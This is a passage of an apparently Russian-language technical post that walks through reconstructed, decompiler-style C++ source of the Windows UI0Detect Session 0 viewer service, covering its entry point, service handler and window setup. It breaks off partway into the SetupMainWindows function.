<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="5153137"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="5153137" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
</pre></td><td class="de1"><pre class="de1">BOOL IsSystem<span class="br0">&#40;</span>VOID<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; BOOL CheckToken <span class="sy1">=</span> FALSE, IsSidInToken <span class="sy1">=</span> FALSE, IsMember <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; PSID SidToCheck <span class="sy1">=</span> &nbsp;<span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; SID_IDENTIFIER_AUTHORITY IdentifierAuthority<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="sy2">*</span><span class="br0">&#40;</span>PWORD<span class="br0">&#41;</span><span class="sy3">&amp;</span>IdentifierAuthority.<span class="me1">Value</span><span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span> <span class="sy1">=</span> <span class="nu0">1280</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>AllocateAndInitializeSid<span class="br0">&#40;</span><span class="sy3">&amp;</span>IdentifierAuthority, <span class="nu0">1</span>, <span class="nu12">0x12</span>, <span class="kw2">NULL</span>, <span class="kw2">NULL</span>, <span class="kw2">NULL</span>, <span class="kw2">NULL</span>, <span class="kw2">NULL</span>, <span class="kw2">NULL</span>, <span class="kw2">NULL</span>, <span class="sy3">&amp;</span>SidToCheck<span class="br0">&#41;</span> <span class="sy1">&gt;=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; CheckToken <span class="sy1">=</span> CheckTokenMembership<span class="br0">&#40;</span><span class="kw2">nullptr</span>, SidToCheck, <span class="sy3">&amp;</span>IsMember<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; IsSidInToken <span class="sy1">=</span> IsMember<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>CheckToken<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IsSidInToken <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; IsMember <span class="sy1">=</span> IsSidInToken<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>SidToCheck<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; FreeSid<span class="br0">&#40;</span>SidToCheck<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> IsMember<span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw4">int</span> WINAPI wWinMain<span class="br0">&#40;</span>_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ <span class="kw4">int</span> nShowCmd<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v6 <span class="sy1">=</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; SERVICE_TABLE_ENTRY ServiceStartTable<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; __int64 v9 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; __int64 v10 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; FILETIME SystemTimeAsFileTime<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; HeapSetInformation<span class="br0">&#40;</span><span class="kw2">nullptr</span>, HeapEnableTerminationOnCorruption, <span class="kw2">nullptr</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; g_hInstance <span class="sy1">=</span> hInstance<span class="sy4">;</span>
&nbsp; &nbsp; g_fSqmIsOptedIn <span class="sy1">=</span> WinSqmIsOptedIn<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; GetSystemTimeAsFileTime<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_qwFTAtStart<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; 
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>lpCmdLine <span class="sy3">&amp;&amp;</span> <span class="sy2">*</span>lpCmdLine<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v6 <span class="sy1">=</span> ClientsWinMain<span class="br0">&#40;</span>lpCmdLine<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ServiceStartTable.<span class="me1">lpServiceName</span> <span class="sy1">=</span> <span class="br0">&#40;</span>LPWSTR<span class="br0">&#41;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;UI0Detect&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ServiceStartTable.<span class="me1">lpServiceProc</span> <span class="sy1">=</span> ServiceStart<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_fSqmIsOptedIn<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g_hSessionService.<span class="me1">Data1</span> <span class="sy1">=</span> <span class="br0">&#40;</span>ULONG<span class="br0">&#41;</span>WinSqmStartSession<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_guidService, <span class="nu0">984067</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WinSqmSetString<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_hSessionService.<span class="me1">Data1</span>, <span class="nu0">1411</span>, TEXT<span class="br0">&#40;</span><span class="st0">&quot;Session 0 viewer service&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>IsSystem<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StartServiceCtrlDispatcher<span class="br0">&#40;</span><span class="sy3">&amp;</span>ServiceStartTable<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v6 <span class="sy1">=</span> <span class="sy2">-</span><span class="nu0">2</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_fSqmIsOptedIn<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetSystemTimeAsFileTime<span class="br0">&#40;</span><span class="sy3">&amp;</span>SystemTimeAsFileTime<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>PSIZE_T<span class="br0">&#41;</span><span class="sy3">&amp;</span>SystemTimeAsFileTime <span class="sy2">-</span> <span class="sy2">*</span><span class="br0">&#40;</span>PSIZE_T<span class="br0">&#41;</span><span class="sy3">&amp;</span>g_qwFTAtStart<span class="br0">&#41;</span> <span class="sy2">/</span> <span class="nu12">0x271000000000</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WinSqmSetDWORD<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_hSessionService.<span class="me1">Data1</span>, <span class="nu0">1790</span>, <span class="br0">&#40;</span>UINT<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>PSIZE_T<span class="br0">&#41;</span><span class="sy3">&amp;</span>SystemTimeAsFileTime <span class="sy2">-</span> <span class="sy2">*</span><span class="br0">&#40;</span>PSIZE_T<span class="br0">&#41;</span><span class="sy3">&amp;</span>g_qwFTAtStart<span class="br0">&#41;</span> <span class="sy2">/</span> <span class="nu12">0x2710</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WinSqmEndSession<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_hSessionService.<span class="me1">Data1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span><span class="br0">&#40;</span>PSIZE_T<span class="br0">&#41;</span><span class="sy3">&amp;</span>g_hSessionService.<span class="me1">Data1</span> <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_pxSharedInfo<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; UnmapViewOfFile<span class="br0">&#40;</span>g_pxSharedInfo<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; g_pxSharedInfo <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_hSharedInfo<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle<span class="br0">&#40;</span>g_hSharedInfo<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; g_hSharedInfo <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_hFullSharedInfo<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle<span class="br0">&#40;</span>g_hFullSharedInfo<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; g_hFullSharedInfo <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> v6<span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>со специальной подпрограммой ServiceStart<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="609768488"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="609768488" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
</pre></td><td class="de1"><pre class="de1">VOID WINAPI ServiceCtrlHandler<span class="br0">&#40;</span>DWORD dwControl<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">switch</span> <span class="br0">&#40;</span>dwControl<span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">case</span> SERVICE_CONTROL_STOP<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwWin32ExitCode</span> <span class="sy1">=</span> NO_ERROR<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwCurrentState</span> <span class="sy1">=</span> SERVICE_STOP_PENDING<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">case</span> SERVICE_CONTROL_PAUSE<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwCurrentState</span> <span class="sy1">=</span> SERVICE_PAUSED<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwControlsAccepted</span> <span class="sy1">=</span> SERVICE_CONTROL_NETBINDADD<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">case</span> SERVICE_CONTROL_CONTINUE<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwCurrentState</span> <span class="sy1">=</span> SERVICE_RUNNING<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwControlsAccepted</span> <span class="sy1">=</span> SERVICE_CONTROL_NETBINDADD<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">case</span> SERVICE_CONTROL_SHUTDOWN<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwWin32ExitCode</span> <span class="sy1">=</span> NO_ERROR<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwCurrentState</span> <span class="sy1">=</span> SERVICE_STOP_PENDING<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">default</span><span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; SetServiceStatus<span class="br0">&#40;</span>hssService, <span class="sy3">&amp;</span>ssService<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="br0">&#40;</span>dwControl <span class="sy2">-</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy3">&amp;</span> <span class="nu12">0xFFFFFFFB</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; WTSDisconnectSession<span class="br0">&#40;</span>WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, FALSE<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_hWndS0Dlg<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SendMessage<span class="br0">&#40;</span>g_hWndS0Dlg, <span class="nu12">0x466</span>, <span class="nu0">2</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; HWND hWnd <span class="sy1">=</span> FindWindow<span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;$$$UI0Background&quot;</span><span class="br0">&#41;</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hWnd<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SendMessage<span class="br0">&#40;</span>hWnd, WM_APP, <span class="kw2">NULL</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
<span class="br0">&#125;</span>
&nbsp;
VOID WINAPI ServiceStart<span class="br0">&#40;</span>DWORD dwNumServicesArgs, LPWSTR<span class="sy2">*</span> lpServiceArgVectors<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; DWORD nLengthNeeded <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; PWCHAR wszPath <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; HWND hWnd <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; __int64 v8<span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span><span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; MSG Msg<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; WCHAR v10 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; ssService.<span class="me1">dwServiceType</span> <span class="sy1">=</span> SERVICE_WIN32_OWN_PROCESS <span class="sy3">|</span> SERVICE_INTERACTIVE_PROCESS<span class="sy4">;</span>
&nbsp; &nbsp; ssService.<span class="me1">dwCurrentState</span> <span class="sy1">=</span> SERVICE_START_PENDING<span class="sy4">;</span>
&nbsp; &nbsp; ssService.<span class="me1">dwControlsAccepted</span> <span class="sy1">=</span> SERVICE_CONTROL_NETBINDADD<span class="sy4">;</span>
&nbsp; &nbsp; ssService.<span class="me1">dwWin32ExitCode</span> <span class="sy1">=</span> NO_ERROR<span class="sy4">;</span>
&nbsp; &nbsp; ssService.<span class="me1">dwCheckPoint</span> <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; SERVICE_STATUS_HANDLE hSvcStatus <span class="sy1">=</span> RegisterServiceCtrlHandler<span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;UI0Detect&quot;</span><span class="br0">&#41;</span>, ServiceCtrlHandler<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; hssService <span class="sy1">=</span> hSvcStatus<span class="sy4">;</span>
&nbsp; &nbsp; 
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hSvcStatus<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwCurrentState</span> <span class="sy1">=</span> SERVICE_RUNNING<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SetServiceStatus<span class="br0">&#40;</span>hSvcStatus, <span class="sy3">&amp;</span>ssService<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; HWINSTA hWinsta <span class="sy1">=</span> GetProcessWindowStation<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; HDESK hDesk <span class="sy1">=</span> GetThreadDesktop<span class="br0">&#40;</span>GetCurrentThreadId<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hWinsta <span class="sy3">&amp;&amp;</span> hDesk <span class="sy3">&amp;&amp;</span> GetUserObjectInformation<span class="br0">&#40;</span>hWinsta, UOI_NAME, <span class="sy3">&amp;</span>g_wszPath, <span class="nu12">0x208</span>, <span class="sy3">&amp;</span>nLengthNeeded<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy3">&amp;&amp;</span> <span class="br0">&#40;</span>wszPath <span class="sy1">=</span> <span class="sy3">&amp;</span>g_wszPath <span class="sy2">+</span> <span class="br0">&#40;</span>nLengthNeeded <span class="sy1">&gt;&gt;</span> <span class="nu0">1</span><span class="br0">&#41;</span>, <span class="sy2">*</span><span class="br0">&#40;</span>wszPath <span class="sy2">-</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy1">=</span> <span class="nu0">92</span>, GetUserObjectInformation<span class="br0">&#40;</span>hDesk, UOI_NAME, wszPath, <span class="nu0">520</span> <span class="sy2">-</span> nLengthNeeded, <span class="sy3">&amp;</span>nLengthNeeded<span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy3">&amp;&amp;</span> wcscmp<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_wszPath, TEXT<span class="br0">&#40;</span><span class="st0">&quot;WinSta0<span class="es1">\\</span>Default&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwWin32ExitCode</span> <span class="sy1">=</span> ERROR_INVALID_FUNCTION<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HeapSetInformation<span class="br0">&#40;</span><span class="kw2">nullptr</span>, HeapEnableTerminationOnCorruption, <span class="kw2">nullptr</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>SetupMainWindows<span class="br0">&#40;</span><span class="sy3">&amp;</span>v10, <span class="sy3">&amp;</span>hWnd<span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v8<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#40;</span>__int64<span class="br0">&#41;</span><span class="sy3">&amp;</span>S0DialogService<span class="sy4">::</span><span class="me2">vftable</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; S0DialogBase<span class="sy4">::</span><span class="me2">ShowDialog</span><span class="br0">&#40;</span><span class="br0">&#40;</span>S0DialogBase<span class="sy2">*</span><span class="br0">&#41;</span>v8, <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int16<span class="sy2">*</span><span class="br0">&#41;</span><span class="nu12">0x3F2</span>, <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int16<span class="sy2">*</span><span class="br0">&#41;</span><span class="nu12">0x3F3</span>, 0i64<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>GetMessage<span class="br0">&#40;</span><span class="sy3">&amp;</span>Msg, <span class="kw2">nullptr</span>, RIM_INPUT, RIM_INPUT<span class="br0">&#41;</span> <span class="sy2">+</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy1">&gt;</span> <span class="nu0">1</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DispatchMessage<span class="br0">&#40;</span><span class="sy3">&amp;</span>Msg<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>v10<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UnregisterClass<span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;$$$UI0Background&quot;</span><span class="br0">&#41;</span>, g_hInstance<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_hEventSource<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DeregisterEventSource<span class="br0">&#40;</span>g_hEventSource<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; ssService.<span class="me1">dwCurrentState</span> <span class="sy1">=</span> SERVICE_STOPPED<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SetServiceStatus<span class="br0">&#40;</span>hssService, <span class="sy3">&amp;</span>ssService<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Служба сначала выполняет проверку, на предмет того, что она работает на правильной оконной станции и рабочем столе (WinSta0\\Default), а затем уведомляет SCM об успехе или неудаче.<br />
После завершения взаимодействия с SCM она вызывает внутреннюю функцию SetupMainWindows, которая регистрирует класс $$$UI0Background и окно Shell0 Window. Поскольку предполагается, что это главное окно «оболочки», с которым пользователь будет взаимодействовать на рабочем столе службы, это окно также регистрируется как текущее окно оболочки и панели задач через SetShellWindow и SetTaskmanWindowAPI<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="598912009"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="598912009" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> LRESULT<span class="br0">&#40;</span>WINAPI<span class="sy2">*</span> _SetTaskmanWindow<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; HWND hWnd
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
_SetTaskmanWindow SetTaskmanWindow<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> LRESULT<span class="br0">&#40;</span>WINAPI<span class="sy2">*</span> _SetShellWindow<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; HWND hWnd
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
_SetShellWindow SetShellWindow<span class="sy4">;</span>
&nbsp;
BOOL WINAPI SetupMainWindows<span class="br0">&#40;</span>PWCHAR a1, HWND<span class="sy2">*</span> phWnd<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; WCHAR v6<span class="sy4">;</span>
&nbsp; &nbsp; MINIMIZEDMETRICS pvParam<span class="br0">&#123;</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>MINIMIZEDMETRICS<span class="br0">&#41;</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v13 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp;
